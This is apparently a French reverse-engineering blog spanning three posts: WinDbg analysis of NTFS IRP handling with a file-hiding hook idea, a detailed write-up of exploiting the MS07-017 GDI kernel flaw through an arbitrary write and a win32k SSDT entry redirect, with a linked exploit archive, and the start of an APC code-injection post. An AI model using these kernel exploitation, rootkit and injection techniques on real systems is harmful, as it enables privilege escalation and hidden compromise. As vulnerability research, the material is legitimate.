ReleaseFileForNtCreateSection           fcb37901	Ntfs!NtfsReleaseForCreateSection
FastIoQueryNetworkOpenInfo              fcb7ee89	Ntfs!NtfsFastQueryNetworkOpenInfo
AcquireForModWrite                      fcb43855	Ntfs!NtfsAcquireFileForModWrite
MdlRead                                 fcb7ef9d	Ntfs!NtfsMdlReadA
MdlReadComplete                         8052bb18	nt!FsRtlMdlReadCompleteDev
PrepareMdlWrite                         fcb7f317	Ntfs!NtfsPrepareMdlWriteA
MdlWriteComplete                        80611143	nt!FsRtlMdlWriteCompleteDev
FastIoQueryOpen                         fcb3bee8	Ntfs!NtfsNetworkOpenCreate
AcquireForCcFlush                       fcb37762	Ntfs!NtfsAcquireFileForCcFlush
ReleaseForCcFlush                       fcb37788	Ntfs!NtfsReleaseFileForCcFlush

Nous on s’intéresse à la fonction NtfsFsdCreate chargée de renvoyé un handle sur un fichier. Hop rien de valant une jolie call stack pour comprendre comment sa marche (sachant un bol de chocapics n’ayant qu’un effet limité sur l’augmentation du QI), on se pose un petit BP sur la fonction. Après lancer le notepad je tombe sur ceci :

Breakpoint 0 hit
Ntfs!NtfsFsdCreate:
fcb3ce37 68ac000000      push    0ACh
kd> kb
ChildEBP RetAddr  Args to Child
f9a18a04 804e3d77 80e7a408 80d362b8 ffbc69b0 Ntfs!NtfsFsdCreate
f9a18a14 fcbc0876 80d362c8 80e8cf38 ffbc69b0 nt!IopfCallDriver+0x31
f9a18a60 804e3d77 80e7ae88 00000001 80d362b8 sr!SrCreate+0x150
f9a18a70 80570f9c 80e47890 ffaed7ec f9a18c18 nt!IopfCallDriver+0x31
f9a18b50 8056386c 80e478a8 00000000 ffaed748 nt!IopParseDevice+0xa58
f9a18bd8 80567c63 00000000 f9a18c18 00000040 nt!ObpLookupObjectName+0x56a
f9a18c2c 80571477 00000000 00000000 00000101 nt!ObOpenObjectByName+0xeb
f9a18ca8 80571546 0007d938 001000a1 0007d7e4 nt!IopCreateFile+0x407
f9a18d04 8057160e 0007d938 001000a1 0007d7e4 nt!IoCreateFile+0x8e
f9a18d44 804df06b 0007d938 001000a1 0007d7e4 nt!NtOpenFile+0x27
f9a18d44 7c91eb94 0007d938 001000a1 0007d7e4 nt!KiFastCallEntry+0xf8
0007d568 7c91dd09 7c818c14 0007d938 001000a1 ntdll!KiFastSystemCallRet
0007d56c 7c818c14 0007d938 001000a1 0007d7e4 ntdll!NtOpenFile+0xc
0007dfb0 7c80235e 00000000 0014329c 00141004 kernel32!CreateProcessInternalW+0x892
0007dfe8 7ca1def4 0014329c 00141004 00000000 kernel32!CreateProcessW+0x2c
0007ea6c 7ca1dd5e 00010080 00000000 001436ac SHELL32!_SHCreateProcess+0x387
0007eac0 7ca1dc95 0013fdb0 0007eae0 7ca1d797 SHELL32!CShellExecute::_DoExecCommand+0xb4
0007eacc 7ca1d797 00000000 000f8560 0013fdb0 SHELL32!CShellExecute::_TryInvokeApplication+0x49
0007eae0 7ca1d6c9 000f8560 000f8560 0007eb20 SHELL32!CShellExecute::ExecuteNormal+0xb1
0007eaf4 7ca1d665 0007eb20 00105520 000f8560 SHELL32!ShellExecuteNormal+0x30

La fonction CreateProcess afin de lire le binaire à besoin d’un handle. Pour cela l’API NtOpenFile réalise l’appel système qui va faire la demande au driver du chier ntfs. A noter que le module portant le nom « sr » correspond au driver de restauration du système dont le device va se mettre avant le device associé au système de fichier afin de pourvoir lire les requêtes et créer le point de restauration. On peut le voir sous le KD :

kd> !drvobj filesystemntfs
Driver object (80e8c578) is for:
 FileSystemNtfs
Driver Extension List: (id , addr)

Device Object list:
80e7a408  80e8c460
kd> !devobj 80e7a408
Device object (80e7a408) is for:
  FileSystemNtfs DriverObject 80e8c578
Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000000
DevExt 80e7a4c0 DevObjExt 80e7ac68
ExtensionFlags (0000000000)
AttachedDevice (Upper) 80e7add0 FileSystemsr <----device associé au driver de restauration
Device queue is not busy.

L’architecture du noyau correspond à ce schéma, un série des drivers ayant au dessus d’eux un ou plusieurs devices, provenant soit de leur propre driver, soit associé à d’autres. On a donc une device stack au dessus de chaque driver et l’IRP va devoir traverser cette pile pour arrivé au driver final. On peut le voir avec la commande !devstack

kd> !devstack  80e7a408
  !DevObj   !DrvObj            !DevExt   ObjectName
  80e7add0  FileSystemsr     80e7ae88
> 80e7a408  FileSystemNtfs   80e7a4c0

Justement en parlant d’IRP, sachant que les XxxDispatchCreate routines sont toujours de la forme suivante :

NTSTATUS
  XxxDispatchCreate(
    IN PDEVICE_OBJECT  DeviceObject,
    IN PIRP  Irp
    );

On peut retrouve notre IRP qui correspond au second argument de la fonction NtfsFsdCreate, regardons cela avec notre KD :

kd> dt nt!_IRP 80d362b8
   +0x000 Type             : 6
   +0x002 Size             : 0x1b4
   +0x004 MdlAddress       : (null)
   +0x008 Flags            : 0x884
   +0x00c AssociatedIrp    : __unnamed
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0xffb68230 - 0xffb68230 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 9 ''
   +0x023 CurrentLocation  : 9 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0xc ''
   +0x028 UserIosb         : 0xf9a18b08 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null)
   +0x030 Overlay          : __unnamed
   +0x038 CancelRoutine    : (null)
   +0x03c UserBuffer       : (null)
   +0x040 Tail             : __unnamed

Je vous laisse lire la doc du DDK pour avoir une description de ces différents champs. Par contre au lieu de se faire chier à dumper la structure on va utiliser la commande !irp.

kd> !irp 80d362b8
Irp is active with 9 stacks 9 is current (= 0x80d36448)
 No Mdl: No System Buffer: Thread ffb68020:  Irp stack trace.
     cmd  flg cl Device   File     Completion-Context
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
 [  0, 0]   0  0 00000000 00000000 00000000-00000000    

			Args: 00000000 00000000 00000000 00000000
>[  0, 0]   0  0 80e7a408 ffbc69b0 00000000-00000000
	       FileSystemNtfs
			Args: f9a18a9c 01000060 00050000 00000000

Ici notre IRP possède 9 stacks, d’ailleurs j’avoue de ne pas savoir pourquoi, normalement on a une stack par driver accédé, ici on devrait donc en avoir 2 … Bref c’est pas vraiment important pour ce qu’on veut faire, les arguments de l’IRP sont passé par la pile et contenu dans une structure IO_STACK_LOCATION.

kd> dt nt!_IO_STACK_LOCATION 0x80d36448
   +0x000 MajorFunction    : 0 ''
   +0x001 MinorFunction    : 0 ''
   +0x002 Flags            : 0 ''
   +0x003 Control          : 0 ''
   +0x004 Parameters       : __unnamed
   +0x014 DeviceObject     : 0x80e7a408 _DEVICE_OBJECT
   +0x018 FileObject       : 0x80e402a8 _FILE_OBJECT
   +0x01c CompletionRoutine : (null)
   +0x020 Context          : (null)

Et dans cette magnifique structure se situant au fin fond du système on a un FILE_OBJECT contenant :

kd> !fileobj ffbc69b0

WINDOWSsystem32NOTEPAD.EXE

Device Object: 0x80e478a8   DriverFtdisk
Vpb is NULL

Flags:  0x2
	Synchronous IO

CurrentByteOffset: 0

On retrouve notre demande d’ouverture du handle sur le fichier notepad.exe. Vous l’avez compris en hookant les IRP_MJ_xxx du driver ntfs il est possible de renvoyé des valeurs modifiées à l’OS et ainsi par exemple ne plus faire apparaître des fichiers. Je réaliserais un POC prochainement et je vous filerais le code. En attendant vous pouvez retourner devant votre porno :]

PS : Cet articlé ayant été écrit entièrement en caleçon l’auteur s’excuse pour les odeurs.

Références :

Windows DDK -> Handling IRPs

Microsoft Windows Internals, Fourth Edition -> Chapter 9. I/O System

Rootkits: Subverting the Windows Kernel -> Kernel Hooks -> Hooking the Major I/O Request Packet Function Table in the Device Driver Object

2 comments avril 21st, 2007

MS07-017 Kernel Vuln Exploited

L’histoire de ce post commence dans le train, youpi c’est les vacances mais avant je dois me payer 6h d’ennui à mater les vaches, au lieu de cela je vais plutôt faire un peu de RE. En début de semaine on m’avait fait remarqué que les white papers des confs Blackhat était dispo, l’un d’eux, celui de Joel Eriksson intitulé « Kernel Wars » attira mon attention, il présentait diverses exploitations de vulnérabilités kernel sur des noyaux unix mais aussi et surtout démontrait qu’il était possible d’exploiter la vulnérabilité GDI paru dans le Month Of Kernel Bugs (MOKB). W00T. Mauvais chose pour nous il décrit sans trop de détail comment il à exploité ce bug, fournissant juste une méthodologie et même pas de sploit, OUIN ! Moi après avoir rigoler avec le pauvre BOF de la vuln au niveau des icônes animées (fichiers .ani) je me suis dit que l’écriture d’un sploit pour la vuln GDI ferait un zoli post pour mon blog.

La première dont nous parle Jojo concerne la récupération d’un handle sur un truc appelé la GdiSharedHandleTable. Dans la 1ère version du POC de MOKB, la récupération du handle était fait par brute-force (lil), Jojo lui est plus malin et préfère utiliser des propriétés de l’objet qu’il veut pour obtenir son handle. Sachant qu’un handle correspond juste à l’indice dans la HANDLE_TABLE d’une strucure HANDLE_TABLE_ENTRY, on va regarder cela sous avec notre ami kernel debugger.
Après avoir le code du POC du MKB je note l’indice que me renvoie le brute-force :

HANDLE hMapFile=(HANDLE)0x10;
while(!lpMapAddress){
hMapFile=(void*)((int)hMapFile+1);
lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
}

L’objet en question est de type Section, normal car MapViewOfFile (NtMapViewOfSection en fait) ne marche que sur ce type d’objet. Il est donc intéressant de savoir d’ou provient ce handle, hop je lance le POC dans Olly, et je m’aperçois que le handle est déjà présent dans la HANDLE_TABLE alors que je ne suis que sur l’EntryPoint de mon .exe, je décide de dire à Olly de breaker avant le lancement du loader de Windows (Options->Debugging Options->Event, Make first pause at : system breakpoint), je regarde les handles, aucun de type section. C’est donc le loader de win qui l’ajoute dans la table, reste plus qu’à trouver par quelle fonction, hop je trace gentiment en regardant particulièrement les appels au fonction systèmes (seules capable d’ajouter un handle dans la HANDLE_TABLE du process) et je remarque qu’après l’appel à une fonction de GDI32.dll, le nombre de handle est modif et passe de 7 à 11:

Avant l'appel à NtGdiInit :
PROCESS 838b3020  SessionId: 0  Cid: 076c    Peb: 7ffde000  ParentCid: 0744
DirBase: 07af6000  ObjectTable: e1f88168  HandleCount:   7.
Image: GDI.exe

Après :
PROCESS 838b3020  SessionId: 0  Cid: 076c    Peb: 7ffde000  ParentCid: 0744
DirBase: 07af6000  ObjectTable: e1f88168  HandleCount:  11.
Image: GDI.exe

lkd> !handle 0 3 76C Section
processor number 0, process 0000076c
Searching for Process with Cid == 76c
Searching for handles of type Section
PROCESS 838b3020  SessionId: 0  Cid: 076c    Peb: 7ffde000  ParentCid: 0744
DirBase: 07af6000  ObjectTable: e1f88168  HandleCount:  11.
Image: GDI.exe

Notre objet de type section :
Handle table at e109f000 with 11 Entries in use
001c: Object: e1531bf8  GrantedAccess: 000f001f Entry: e109f038
Object: e1531bf8  Type: (843c43b8) Section
ObjectHeader: e1531be0
HandleCount: 19  PointerCount: 20

La call stack :
Thread ID : 1656
0x77ef67eb : GDI32!NtGdiInit+0xc
0x77d1f54e : USER32!_UserClientDllInitialize+0x315
0x7c911193 : ntdll!LdrpCallInitRoutine+0x14
0x7c92c9e4 : ntdll!LdrpRunInitializeRoutines+0x344
0x7c931abc : ntdll!LdrpInitializeProcess+0x1131
0x7c928d66 : ntdll!_LdrpInitialize+0x183

La DLL GDI32 fait appel système sur la fonction NtGdiInit du driver win32k.sys. Hop je regarde ce que NtGdiInit à dans le ventre :

lkd> uf win32k!NtGdiInit
win32k!NtGdiInit:
bf8c1f3c 33c0            xor     eax,eax
bf8c1f3e 40              inc     eax
bf8c1f3f c3              ret

Grut?? Comme vous le voyez la foncion NtGdiInit n’est pas très consistante, à ce moment un gros doute s’empare de moi, d’ou qu’il sort se put1 de handle FFS. Bon calmons nous et reprenons, l’appel système se réalise de la manière suivante.
NtGdiInit dans GDI32.dll -> KiFastSystemCall -> sysenter | KiFastCallEntry -> KiSystemService -> NtGdiInit

Forcément le handle est ajouté par KiFastCallEntry ou bien KiSystemService, reste plus qu’à regarder.

Dans KiSystemService, je tombe sur le disass suivant :

mov     ecx, ds:0FFDFF018h
xor     ebx, ebx
or      ebx, [ecx+0F70h]
jz      short loc_4077C0
push    edx
push    eax
call    ds:_KeGdiFlushUserBatch ; Grut ?
pop     eax
pop     edx

En fait en 0xFFDFF000 on est dans la structure KPCR (Kernel Process Control Region) dont le premier champ est une structure NT_TIB, et en 0×18 de cette struct on trouve un pointeur sur le TEB du thread courant :

lkd> dt nt!_NT_TIB FFDFF000
+0x000 ExceptionList    : 0xf2914c7c _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase        : 0xf2914df0
+0x008 StackLimit       : 0xf2912000
+0x00c SubSystemTib     : (null)
+0x010 FiberData        : (null)
+0x010 Version          : 0
+0x014 ArbitraryUserPointer : (null)
+0x018 Self             : 0x7ffde000 _NT_TIB

Et a l’offset 0xF70 du TEP on tombe sur :

dt nt!_TEB
[...]
+0xf70 GdiBatchCount    : Uint4B
[...]

Ho le joli compteur, ce que je comprend pour l’instant c’est que la fonction KiSystemService vérifie si le champ GdiBatchCount du TEB du thread courant vaut 0, si oui alors on appel la fonction pointé par la var globale KeGdiFlushUserBatch.

lkd> dd nt!KeGdiFlushUserBatch l1
80561548  bf80db87
lkd> ln bf80db87
(bf80db87)   win32k!NtGdiFlushUserBatch   |  (bf80e078)   win32k!BRUSHMEMOBJ::pbrAllocBrush
Exact matches:
win32k!NtGdiFlushUserBatch = 

Comme on peut le voir, cette var pointe sur la fonction NtGdiFlushUserBatch de win32k.sys. hop je cours, je saute, je zoom et je fait chauffer IDA sur cette API. Arf grosseuh fonction codé avec un switch à 9 ‘case’ (IDA l’analyse très bien), bon là j’ai pas envie de RE pour savoir quel case du switch est prit en compte, va falloir tracer cela sous VM et puis j’ai plus de batterie :p
De retour chez moi, je lance ma VM en mettant un BP sur NtGdiFlushUserBatch, après 1h de recherche, j’arrive à RIEN ! Apparement le handle ne provient pas de cette fonction …. ….. (TILT!) Je me suis souvenu que eeye avait pondu un advisorie sur cette faille . Tient il parle de la fonction GdiProcessCallout, hop BP dessus et je relance. BIM TOUCHAY!

Voici la call stack :

kd> k
ChildEBP RetAddr
f7f09cd4 bf8465af win32k!GdiProcessCallout+0xb8
f7f09cf0 8057ed06 win32k!W32pProcessCallout+0x5c
f7f09d54 804ded5e nt!PsConvertToGuiThread+0x123
f7f09da0 7c92de0f nt!KiBBTUnexpectedRange+0xc
7ffe0300 7c91eb93 ntdll!LdrDisableThreadCalloutsForDll+0x82
7ffe0308 00000000 ntdll!KiFastSystemCallRet+0x4

Le plus drôle c’est que l’appel à KiBBTUnexpectedRange provient de KiSystemService, il se faisait juste avant celui de NtGdiFlushUserBatch, ouinnn !
Dans GdiProcessCallout je vois un magnifique ObOpenObjectByPointer, qui permet de récupérer un handle sur un objet à partir d’un pointeur.

NTSTATUS
ObOpenObjectByPointer (
__in PVOID Object,
__in ULONG HandleAttributes,
__in_opt PACCESS_STATE PassedAccessState,
__in ACCESS_MASK DesiredAccess,
__in_opt POBJECT_TYPE ObjectType,
__in KPROCESSOR_MODE AccessMode,
__out PHANDLE Handle
)

lea     eax, [ebp+SectionHandle] ; Handle renvoyé sur l'objet
push    eax
push    ebx             ; AccessMode = ebx =0
push    ebx             ; ObjectType
push    0F001Fh         ; DesiredAccess  : SECTION_ALL_ACCESS
push    ebx             ; PassedAccessState
push    ebx             ; HandleAttributes
push    _gpHmgrSharedHandleSection ; Object : pointeur sur l'objet
call    ds:__imp__ObOpenObjectByPointer@28 ; ObOpenObjectByPointer(x,x,x,x,x,x,x)

Regardons la table des handles de notre process à présent.

kd> !process

PROCESS ffbc86f8  SessionId: 0  Cid: 0418    Peb: 7ffde000  ParentCid: 0530

DirBase: 06673000  ObjectTable: e15c6978  HandleCount:   8.

Image: GDI.exe

VadRoot 80df7d68 Vads 22 Clone 0 Private 27. Modified 0. Locked 0.

DeviceMap e17669a0

Token                             e1028d48

ElapsedTime                       00:00:00.911

UserTime                          00:00:00.020

KernelTime                        00:00:00.821

QuotaPoolUsage[PagedPool]         10532

QuotaPoolUsage[NonPagedPool]      880

Working Set Sizes (now,min,max)  (136, 50, 345) (544KB, 200KB, 1380KB)

PeakWorkingSetSize                136

VirtualSize                       8 Mb

PeakVirtualSize                   8 Mb

PageFaultCount                    132

MemoryPriority                    BACKGROUND

BasePriority                      8

CommitCharge                      42
THREAD 80de8478  Cid 0418.03f0  Teb: 7ffdd000 Win32Thread: 00000000 RUNNING on processor 0
kd> !handle 0 3 0418 Section

processor number 0, process 00000418

Searching for Process with Cid == 418

Searching for handles of type Section

PROCESS ffbc86f8  SessionId: 0  Cid: 0418    Peb: 7ffde000  ParentCid: 0530

DirBase: 06673000  ObjectTable: e15c6978  HandleCount:   8.

Image: GDI.exe
Handle table at e1043000 with 8 Entries in use

001c: Object: e13ad6b0  GrantedAccess: 000f001f Entry: e1043038

Object: e13ad6b0  Type: (80eb2040) Section

ObjectHeader: e13ad698

HandleCount: 16  PointerCount: 17

Youpi, l’objet apparaît dans la table :]

La fonction ObOpenObjectByPointer est suivie d’un ZwMapViewOfSection qui va mapper dans l’espace mémoire du processus la section.

mov     [ebp+BaseAddress], ebx
mov     [ebp+ViewSize], ebx
mov     [ebp+SectionHandle], ebx

push    2               ; Protect : #define PAGE_READONLY 0x02
push    ebx             ; AllocationType
push    2               ; InheritDisposition
lea     eax, [ebp+ViewSize]
push    eax             ; ViewSize
push    ebx             ; SectionOffset
push    ebx             ; CommitSize
push    ebx             ; ZeroBits
lea     eax, [ebp+BaseAddress]
push    eax             ; BaseAddress = 0
push    0FFFFFFFFh      ; ProcessHandle, -1 = CurrentProcess
push    [ebp+SectionHandle] ; SectionHandle
call    ds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
mov     edi, eax
cmp     edi, ebx

Si l’argument BaseAddress est nul (c’est le cas ici), alors la fonction ZwMapViewOfSection nous donne le premier espace mémoire UserSpace dispo quelle trouve. Après l’appel la fonction renvoie dans [ebp+BaseAddress] 0×410000. La section est donc mappé dans l’espace mémoire du process en lecture seule à l’addresse 0×410000. Jetons un coup d’œil aux VAD.

kd> !vad 80df7d68
VAD     level      start      end    commit
80e22728 ( 1)         10       10         1 Private      READWRITE
ffbc7ef8 ( 2)         20       20         1 Private      READWRITE
80df2648 ( 3)         30      12f         3 Private      READWRITE
80da3660 ( 4)        130      132         0 Mapped       READONLY
ffaf95b0 ( 5)        140      23f         3 Private      READWRITE
ffaeeca8 ( 6)        240      24f         6 Private      READWRITE
ffb94308 ( 7)        250      25f         0 Mapped       READWRITE
80d25958 ( 8 )        260      275         0 Mapped       READONLY
80d2c1e8 ( 9)        280      2bc         0 Mapped       READONLY
80d2c218 (10)        2c0      300         0 Mapped       READONLY
80d2c248 (11)        310      315         0 Mapped       READONLY
80d25928 (12)        320      3e7         0 Mapped       EXECUTE_READ
80d00550 ( 0)        400      406         7 Mapped  Exe  EXECUTE_WRITECOPY
80cec448 ( 4)        410      512         0 Mapped       READONLY  <------------ Notre section
80e1f230 ( 3)      77d10    77d9f         2 Mapped  Exe  EXECUTE_WRITECOPY
80e3a670 ( 4)      77ef0    77f35         1 Mapped  Exe  EXECUTE_WRITECOPY
80d0c5f0 ( 2)      7c800    7c903         5 Mapped  Exe  EXECUTE_WRITECOPY
80d00520 ( 1)      7c910    7c9c6         5 Mapped  Exe  EXECUTE_WRITECOPY
80e71c40 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ
80d25898 ( 2)      7ffb0    7ffd3         0 Mapped       READONLY
80d00900 ( 3)      7ffdd    7ffdd         1 Private      READWRITE
80d21228 ( 4)      7ffdf    7ffdf         1 Private      READWRITE

Bon calmons nous, on sait maintenant d’ou provient ce handle. Le loader de windows, lors du chargement de user32.dll va appeler la fonction NtGdiInit de GDI32.dll. Durant l’appel système jusqu’à NtGdiInit, le code passe par la fonction KiSystemService (qui se charge en fait de retrouver la fonction dans la SSDT), celle-ci lance KiBBTUnexpectedRange qui à son tour appel W32pProcessCallout à travers un PsConvertToGuiThread. La fonction W32pProcessCallout, à partir d’un pointeur nommé _gpHmgrSharedHandleSection, obtient un handle sur l’objet et le map dans l’espace mémoire du process qui a appelé NtGdiInit… RIGOLO hein! :p :p :p

D’après ce que j’ai vu, Jojo il avait pas remarqué ça et il n’en pas eu besoin pour réaliser son exploit. Ce qui se passe en fait c’est que le handle ouvert par ObOpenObjectByPointer n’est pas refermé, il réside donc toujours dans la table dans handles du process. Si on peut le retrouver, on peu remapper la section en mémoire en écriture car le handle a été ouvert avec tout les droits (SECTION_ALL_ACCESS). C’est pour cela que dans le POC le brute-force fonctionne, le handle sur un objet de type Section se trouvant dans les premiers indices de la table.

Alors voyons d’ou provient l’objet global _gpHmgrSharedHandleSection, 3 coups de IDA et on voit que la section est crée par la fonction HmgCreate, elle même étant appelé par InitializeGre qui est lancée par GsDriverEntry. En explorant le disass de HmgCreate on peut voir :

push    ebx
push    ebx
push    8400000h ;
push    edi
lea     eax, [ebp+var_C]
push    eax
push    ebx
push    6
push    offset _gpHmgrSharedHandleSection
mov     [ebp+var_8], ebx
mov     dword ptr [ebp-0Ch], 102ADCh
call    ds:__imp__MmCreateSection@32 ; MmCreateSection(x,x,x,x,x,x,x,x)
test    eax, eax
jl      loc_BF89083A ;si NULL on se kass

lea     eax, [ebp+ViewSize]
push    eax             ; ViewSize
push    offset _gpGdiSharedMemory ; MappedBase
push    _gpHmgrSharedHandleSection ; Section
mov     [ebp+ViewSize], ebx
call    ds:__imp__MmMapViewInSessionSpace@12 ; MmMapViewInSessionSpace(x,x,x)
test    eax, eax
jl      loc_BF89083A ;si NULL on se kass

mov     eax, _gpGdiSharedMemory
cmp     eax, ebx
lea     ecx, [eax+100000h]
mov     _gpentHmgr, eax ; _gpentHmgr=_gpGdiSharedMemory

MmCreateSection crée l’objet _gpHmgrSharedHandleSection puis la fonction MmMapViewInSessionSpace va créer la section dans l’espace kernel. Si on regarde le contenu à l’adresse _gpGdiSharedMemory qui se trouve dans la kernel memory et celui qu’on peut voir dans notre process après le MapViewOfFile, on remarque qu’ils sont identiques. Normal, le MapViewOfFile permet de faire « voir » à la partie userland du process une section de la mémoire noyau.

Maintenant que j’ai mieux compris la chose, je continue de lire le paper de Jojo. Apparemment la section contient une liste de structure GDITableEntry, définie par :

typedef struct
{
DWORD pKernelInfo;
WORD  ProcessID;
WORD  _nCount;
WORD  nUpper;
WORD  nType;
DWORD pUserInfo;
} GDITableEntry;

Tout les process ayant cette liste en commun seul le champ ProcessID permet de savoir à quel process appartient une structure. Comme le dit si bien Jojo, c’est en manipulant la valeur pKernelInfo qu’il est possible d’écrire dans le KernelSpace. Il avoue quand même qu’il à chialé sa race pour trouver quelque chose de correct :]
« The methodology used for finding a way to achieve an arbitrary memory overwrite was partially trial and error [...] »

Alors il faut trouvé une fonction système, qu’on peut appeler du userland, qui manipule cette section et en particuler le champ pKernelInfo. Je recherche donc des fonction en Nt**** dans win32k.sys faisant référence à l’espace mémoire pointé par _gpGdiSharedMemory et _gpentHmgr ……

[.............................Traversée du désert .............................]

2 jours de recherches, 2 put1 de jours à tester des centaines de possibilités et à bouffer des chocapics, j’ai faillit craquer plusieurs fois mais j’ai finalement réussi.

Il me fallait trouver un bout de code qui modifiait une adresse définie, je l’ai obtenu (non sans mal) dans la fonction bDeleteBrush du driver win32k.sys. Cette fonction permet de supprimé un objet de type « brush » crée par CreateSolidBrush, la supression se faisant à l’aide de l’API DeleteObject. Après avoir modifié la valeur pKernelInfo de la structure GDITableEntry correspondant à mon « brush » et essayé divers combinaisons, que seule une personne se droguant aux chocapics aurait pu penser, j’ai réussir à écrire à une adresse arbitraire. Le dissass est le suivant :

win32k.sys bDeleteBrush

mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, il faut que [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump si [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr qu'on veut fister
mov     dword ptr [eax], 2

Ainsi si pKernelInfo pointe sur un buffer crafté par nos soins et qu’en 0×24 de ce buffer se trouve une adresse valide, son contenu prendra la valeur 2.

Alors LOL?! qu’est ce qu’on peut foutre avec ca ?! Hé bien le trick de maladouf consiste à modifier l’adresse d’un appel système (contenu dans la SSDT) pour qu’il soit rediriger vers une adresse basse, c’est-à-dire dans le userspace. Par exemple :

lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

Doit devenir :

lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

Ainsi si on mappe en userspace à l’adresse 0×2 un payload et qu’on appel la fonction native NtGdiAbortDoc, BIM ! COUP DE TETE, BALAYETTE, MANCHETTE !!!!!! le payload sera exécuté. J’ai choisit la SSDT du driver win32k.sys car celle du ntoskrnl est en lecture seule (merci à Jojo pour toutes ces infos).

Pour allouer de la mémoire en 0×2 il suffit d’utiliser NtAllocateVirtualMemory. Ensuite la SSDT du driver win32k.sys n’étant pas chargée à une adresse constante, j’ai du récup l’imageBase du driver avec un NtQuerySystemInformation ayant l’InformationClass mise à SystemModuleInformation (11). Enfin Pour l’appel à l’API native NtGdiAbortDoc, on réutilise direct le code ASM de l’appel natif contenu dans gdi32.dll :

lkd> uf GDI32!NtGdiAbortDoc
GDI32!NtGdiAbortDoc:
77f3073a b800100000      mov     eax,1000h
77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
77f30744 ff12            call    dword ptr [edx]
77f30746 c20400          ret     4

Concernant le shellcode, j’ai utilisé un payload générique faisait reboot la machine :] (le même que celui de mon post « kernel BOF »). Je me réserve le droit d’en coder un plus pratique pour owner de la b0x :p

Autrement Immunity a achété les droits du sploit jusqu’à la fin du moi d’Avril, ces mofo devait surement croirent que personne n’oserait codé un sploit sur cette faille. C’est désormais chose faite et j’en ai profité pour le release sur milw0rm.

Ivanlef0u, OMG th4t w4s s0 l33t !

le sploit here :

http://ivanlef0u.fr/repo/GDI-MS07-017.rar

Références :

http://www.microsoft.com/technet/security/bulletin/MS07-017.mspx

http://research.eeye.com/html/alerts/zeroday/20061106.html

http://projects.info-pull.com/mokb/MOKB-06-11-2006.html

https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf

http://www.securityfocus.com/bid/20940/info

18 comments avril 8th, 2007

APC

Toujours en quête d’idées folles je suis tombé sur un truc funny en lisant le SDK, c’est marrant de se dire que tout le monde utilise cette fonctionnalité pour faire des choses « utiles » alors que moi je la détourne dans le but d’avancer mon projet personnel intitulé « CONQUERIR LE MONDE OU RIEN ! »
Il s’agit juste d’une technique d’injection de code Userland dont le principal intérêt est qu’on ne sait pas vraiment quand notre code sera exécuté :]


Les APC (Asynchronous Procedure Calls) permettent d’interrompre l’exécution d’un thread, si celui-ci l’autorise, pour pouvoir exécuté une routine. La chose est simple, on copie dans l’espace mémoire du process notre routine et on l’a met en file d’attente avec la fonction QueueUserAPC() puis on attend (environ 5 mins au micro-ondes). Pour lancer cette routine le thread doit passer dans un état dit « Alertable », il ne le fait que si le paramètre bAlertable des API suivantes est mit à vrai :

SleepEx,
SignalObjectAndWait,
WaitForSingleObjectEx,
WaitForMultipleObjectsEx,
MsgWaitForMultipleObjectsEx

Clairement notre procédure mise en attente à peu de chance d’être lancer immédiatement, pour avoir plus de chance on la met en file d’attente sur tout les thread du process. Je l’ai testé sur le Notepad et c’est quand je fais Fichier->Ouvrir que ma procédure injectée est lancé, surement à cause de l’appel à GetOpenFileName() qui load le menu pour choisir le fichier à ouvrir.

Après avoir mit un BP sur l’API native ZwWaitForSingleObject dans ntdll et tracer le notepad, j’arrive à la call stack :

Call stack of main thread
Address    Stack      Procedure / arguments                 Called from                   Frame
0007D2B0   77E60ACB   ? kernel32.WaitForSingleObjectEx      RPCRT4.77E60AC5
0007D2B4   00000131     hObject = 00000131
0007D2B8   000DBBA0     Timeout = 900000. ms
0007D2BC   00000001     fAlertable = TRUE <--W00T
0007D2CC   77E60A81   ? RPCRT4.77E60AA9                     RPCRT4.77E60A7C
0007D2F0   77E652C7   RPCRT4.77E60A64                       RPCRT4.77E652C2               0007D2EC
0007D318   77E6520D   Includes RPCRT4.77E652C7              RPCRT4.77E6520A               0007D314
0007D338   77E6565F   RPCRT4.77E60833                       RPCRT4.77E6565A               0007D334
0007D440   77E653ED   RPCRT4.77E6553D                       RPCRT4.77E653E8               0007D43C
0007D488   77E64CF6   RPCRT4.77E65372                       RPCRT4.77E64CF1               0007D484
0007D4D8   77E64E0D   ? RPCRT4.77E64BEB                     RPCRT4.77E64E08               0007D4D4
